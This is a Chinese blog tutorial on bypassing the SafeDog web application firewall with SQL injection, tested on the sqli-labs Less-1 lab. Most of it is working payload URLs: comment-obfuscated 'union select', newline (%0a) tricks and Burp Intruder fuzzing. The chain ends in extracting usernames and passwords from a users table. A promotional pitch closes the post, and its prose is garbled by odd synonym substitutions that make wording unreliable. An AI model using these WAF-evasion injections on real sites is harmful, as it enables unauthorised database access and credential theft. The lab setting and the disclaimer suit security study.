SQL注入绕过安全狗的waf防火墙,这一篇就够了,8k文案超详细_mysql注入绕wa
安全狗WAF绕过系列一、WAF概述
WAF(Web应用防火墙)作为一种专为Web应用步伐设计的安全防护工具,其焦点功能在于通过实施一系列针对HTTP/HTTPS协议的安全计谋,来增强Web应用的安全性。WAF内置了经心设计的检测逻辑与规则集,这些规则旨在对每一个进入系统的哀求内容举行细致查察,并对任何违反安全计谋的哀求采取即时且有效的防御步伐,从而维护Web应用情况的纯净与安全。
二、WAF工作机制详解
WAF的工作流程经心构建,涵盖四个关键环节:预处置惩罚、规则匹配、响应处置惩罚以及日志记载,共同编织成一张紧密的安全防护网。
[*] 「预处置惩罚阶段」:此阶段,WAF起首继承起“守门人”的脚色,对所有进入的数据哀求流量举行开端筛选,确认其是否遵循HTTP/HTTPS协议标准。紧接着,WAF会使用预设的白名单机制,快速识别并放行那些已知安全或信托的URL哀求,直接引导它们进入后端Web服务器举行处置惩罚。对于未能通过白名单验证的哀求,WAF则进一步深入,对其数据包举行精细剖析,为后续的安全检测做预备。
[*] 「规则匹配阶段」:此为焦点环节,WAF使用其内置的强大规则引擎,对经过剖析的数据包举行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式,包罗但不限于SQL注入、跨站脚本(XSS)、下令注入等常见Web安全威胁。通过这一过程,WAF可以大概精准识别出潜在的恶意哀求,为后续的安全响应奠定坚固底子。
[*] 「响应处置惩罚阶段」:基于规则匹配的效果,WAF的响应处置惩罚模块将采取针对性的防御步伐。对于符合安全规则的哀求,WAF会毫无阻碍地将其转发至后端Web服务器,确保用户哀求得到及时响应。而对于那些被判定为恶意或非常的哀求,WAF则展现出其防御实力,通过阻断哀求、记载日志或触发告警等多种方式,有效遏制潜在的安全风险,保护Web应用免受陵犯。
三、常见的waf绕过姿势
常见的WAF(Web应用防火墙)绕过姿势包罗但不限于以下几种:
[*] 「提交方式变更」:许多WAF默认配置下主要对GET哀求举行过滤,而忽略POST哀求、Cookie、HTTP头等其他提交方式。因此,可以实验将攻击载荷通过不同的提交方式举行发送,以绕过WAF的检测。
[*] 「巨细写替换和编码绕过」:使用WAF规则大概不区分巨细写或无法完全剖析编码后的攻击载荷,通过将攻击语句中的关键字举行巨细写替换或使用URL编码、Base64编码等方式举行编码,以绕过WAF的过滤规则。
[*] 「变乱函数变更」:WAF会重点识别触发JavaScript代码执行的变乱函数字段,如onclick。通过变更变乱函数名称或使用其他不常见的变乱函数,可以实验绕过WAF的识别。
[*] 「注释符和内联注释」:使用SQL注释符(如--、#)或HTML/JavaScript注释(如<!-- -->、//)来绕过WAF对特定关键字的过滤。偶然,将攻击载荷与注释符联合使用,可以欺骗WAF使其忽略部门攻击载荷。
[*] 「分片传输」:通过调整HTTP哀求中的Content-Length头部,将攻击载荷分成多个部门发送,大概导致WAF无法完整剖析哀求内容,从而绕过检测。
[*] 「使用WAF软肋」:WAF在部署时大概因性能考虑而留下一些软肋,如对某些特殊字符或组合的检测不敷严格。通太过析和测试WAF的举动,大概发现并使用这些软肋举行绕过。
[*] 「爬虫白名单绕过」:部门WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模仿爬虫举动)大概绕过WAF的检测。
[*] 「高并发流量攻击」:通过发送大量垃圾数据或高并发哀求,使WAF设备进入Bypass IPS模式或到达性能极限,从而临时或永久性地绕过WAF的防护。
请留意,上述绕过姿势仅供安全研究和教育目标使用。未经授权的渗透测试和网络攻击是非法举动,大概会对个人和组织造成严峻的法律效果。在举行任何渗透测试之前,请确保已获得合法授权。
四、安全狗绕过姿势
情况:phpstudy—apache2.4.39
安全狗官网v4.0下载(应该是最新版):https://www.safedog.cn/website_safedog.html
在开始之前,如果没有sql注入底子的的童鞋,还请观看我的另外一篇文章,1w字超详细剖析。
以下内容皆使用sqli第一关举行测试
https://i-blog.csdnimg.cn/blog_migrate/3b90a460acb4c4c474fc8966e35d3c9c.png
image-20240716111521447
测试 id=1’ and 1=1
http://192.168.209.131/Less-1/?id=-1' and 1=1
https://i-blog.csdnimg.cn/blog_migrate/d6eb5dc63c7c1709152cf1a7fdfa1a63.png
image-20240715165511624
在之前的实验中,我们发现直接使用“and 1=1”这种方法好像并不奏效,这很大概是由于安全狗系统识别并过滤了“and”这个词。为了更深入地相识安全狗是如何识别并拦截这类操纵的,我们可以实验将“and 1=1”举行拆分
http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+
http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+
发现两个页面均返回SQL语法错误,这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它大概是识别到‘and’后紧跟空格和字符的模式。为了验证这一点,我决定举行实验。
http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+
http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+
实验效果,证明了确实是and+空格+字符串的格式会被拦截。
这里我们就可以开始实验使用**「注释符」、「回车符%0a」**等来取代空格举行绕过了!!
在此输入:
http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+
发现依旧不可,打开burp suite,拦截下我们阻截的包,添加$payload到我们测试的**「注释符」中然后点击发送到「intruder」**模块,选择如下:
https://i-blog.csdnimg.cn/blog_migrate/62c6fa9fb6c17530b3b248f6ce049829.png
image-20240715170533486
然后,点击pyload,选择**「暴力破解」**(Brute forcer):
https://i-blog.csdnimg.cn/blog_migrate/1ec1f9e52b811d493b685ca64c832812.png
image-20240715170457261
attack,开始攻击,安全狗有流量攻击的防御,背面大概会被拦截,办理办法直接**「重启」**apache服务器。好了这里测试完成了,点击length更改默认排序,我们拿每个哀求乐成payload(检查response即可查察是否乐成,如果用户名正常表现,阐明该字符payload安全狗没有举行拦截)。
https://i-blog.csdnimg.cn/blog_migrate/d8f4ff77d780ed60effcfcd49eeceaec.png
image-20240715170405683
我们随便娶一个/!*得到payload和注释符拼接/*/!**/,这个时间and和背面的1=1之间用这个拼接的符号举行连接即可
http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+
可以绕过了
https://i-blog.csdnimg.cn/blog_migrate/40c0c39f4c83ebe268e1a63a7d43f2f9.png
image-20240715170823637
order by测试,我们用之前的测试效果,使用/*/!**/这一个充当空格,测试**「order by 3」**,然后看看可否乐成?
http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+
https://i-blog.csdnimg.cn/blog_migrate/23405c04e186069f2525a50f8d38a24b.png
image-20240715172306698
完美,接下来测试联合注入。普通测试union select:
http://192.168.209.131/Less-1/?id=1' union select --+
https://i-blog.csdnimg.cn/blog_migrate/314e460b7ad8a7908aebac26c5ebee7f.png
image-20240715172414774
union关键字测试,有回显
http://192.168.209.131/Less-1/?id=1' union --+
https://i-blog.csdnimg.cn/blog_migrate/d116597095f1fd7c37c050244dfee591.png
image-20240715172507322
select关键字测试,有回显
http://192.168.209.131/Less-1/?id=1' select --+
https://i-blog.csdnimg.cn/blog_migrate/c989ef897cd4c019e9841d76fe6849d8.png
image-20240715172540647
已知安全狗WAF对联合注入的拦截规则是识别到union select字符串。为了探索是否能使用注释符绕过这一规则,我决定接纳与之前相同的方法,使用Burp举行抓包,并加强**「fuzz测试」**中的参数举行暴力破解实验。
https://i-blog.csdnimg.cn/blog_migrate/2c4cd5d2ef8e8434b043ab7f2bf8ce00.png
image-20240715205818846
随便选择几个1002长度的响应效果
https://i-blog.csdnimg.cn/blog_migrate/a6c0ffbd2830b79b15b6747c3bf82d05.png
image-20240715205744548
这里我们选择payload,取/!*!/,构造注释符+payload,为/*/!*!/*/,插入union和select之间,绕过乐成
http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+
https://i-blog.csdnimg.cn/blog_migrate/d365eca81036121939e1dba0c7169fee.png
image-20240715210114937
这里还有一个思路,可以使用--+%0a这种格式通过换行继续执行,这里我们试一下看看:
❝
Tips:我的另一篇sql注入文章有写过%0a的作用,后台回复【sql注入】【sql】等关键字即可查察
❞
http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+
相当于在普通sql语句中的
http://192.168.5.64/Less-1/?id=-1' union/*!--+/*
select 1,database(),3*/ --+
https://i-blog.csdnimg.cn/blog_migrate/f576e0a43e57612553c6b8ca755aae49.png
image-20240715211304899
实验报数据库
http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+
发现database()被拦截了
https://i-blog.csdnimg.cn/blog_migrate/144d92683e87cf27a710f046951de664.png
image-20240715211803058
我们把database的()给去掉
http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+
报错,此时就可以确定,安全狗应该是将database()举行检测
https://i-blog.csdnimg.cn/blog_migrate/f682209051e7f13c839c401c5988026f.png
image-20240715212006918
然后我们继续使用注释符或者内联注释符看看吧:
继续接纳burp的**「fuzz测试」**:添加上变量
https://i-blog.csdnimg.cn/blog_migrate/95b54ee166d64cdad8d1049a2b19a962.png
image-20240715213751892
扫出来4个/可以用,最简单的
https://i-blog.csdnimg.cn/blog_migrate/8d9f398411a5e04f1410e9ab0dacb281.png
image-20240715213840696
和之前一样,就不夸大了,取注释符+payload,构造payload
http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),3 --+
https://i-blog.csdnimg.cn/blog_migrate/fbaabf519a0ccfcc4d2dbc743cbf6637.png
image-20240715214011786
乐成了!接下来一个一个关键词测试,group_concat()
http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) --+
https://i-blog.csdnimg.cn/blog_migrate/2caec46dc5d2994bfa3f1bfc664f9dd6.png
image-20240715214342969
没有拦截,继续from
http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from --+
https://i-blog.csdnimg.cn/blog_migrate/e93c85bc729387e2783e98ce31514f8c.png
image-20240715214416033
informtion_schema.tables,效果就不可了
http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from informtion_schema.tables --+
https://i-blog.csdnimg.cn/blog_migrate/86020c8888808ecc6f7ad9a359d5e901.png
image-20240715215224759
测试%0a
http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from /*!-- /*
information_schema.tables*/
https://i-blog.csdnimg.cn/blog_migrate/98c79e64125acab00c7dff55f617eca1.png
image-20240716093748206
测试查当前数据库的表名,前面已经测试过database()了
http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from /*!-- /*
information_schema.tables*/where table_schema=database/**/() --+
https://i-blog.csdnimg.cn/blog_migrate/99db28e5130d31d2b6e63c7a6e546225.png
image-20240716093930467
爆字段,测试到and,table_name都没拦截
http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20and%20table_name%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
information_schema.tables*/where table_schema=database/**/() and table_name --+
https://i-blog.csdnimg.cn/blog_migrate/57f6b2bd3195ca6bdd27d1595afb6f3d.png
image-20240716095210635
直到table_name背面加了个=
http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20and%20table_name=%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
information_schema.tables*/where table_schema=database/**/() and table_name= --+
https://i-blog.csdnimg.cn/blog_migrate/83ef6ab40befa5343715e5c101d98177.png
image-20240716095144657
那么开始**「fuzz测试」**爆破
https://i-blog.csdnimg.cn/blog_migrate/a85fb550d69c78dafe0502ed11dea305.png
image-20240716103253642
随便娶一个payload和注释符举行拼接,如下
http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/**/()%20and%20table_name/*/***/=%22users%22%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
information_schema.columns*/where table_schema=database/**/() and table_name/*/***/="users" --+
https://i-blog.csdnimg.cn/blog_migrate/1b4330fe4444bb38e576f7e678e1d79b.png
image-20240716103446751
回车%0a的绕过方式
http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/**/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
information_schema.columns*/where table_schema=database/**/() and /*!-- /*
table_name*/="users" --+
https://i-blog.csdnimg.cn/blog_migrate/257c5ef07ba69916b60d6a60972bc9f7.png
image-20240716103752507
爆数据,已知表名为users,字段为id,username,password,并设置每个字段的分隔符为-,separator ‘-’
http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(id,username,password separator '-') from /*!-- /*
users*/ --+
https://i-blog.csdnimg.cn/blog_migrate/47f98ee9f842608aa8e6d038787e1179.png
image-20240716104419572
最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门水平而已,本领越强机会才越多。
由于入门学习阶段知识点比力杂,以是我讲得比力笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技能文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习门路图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技能手册大全
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里
页:
[1]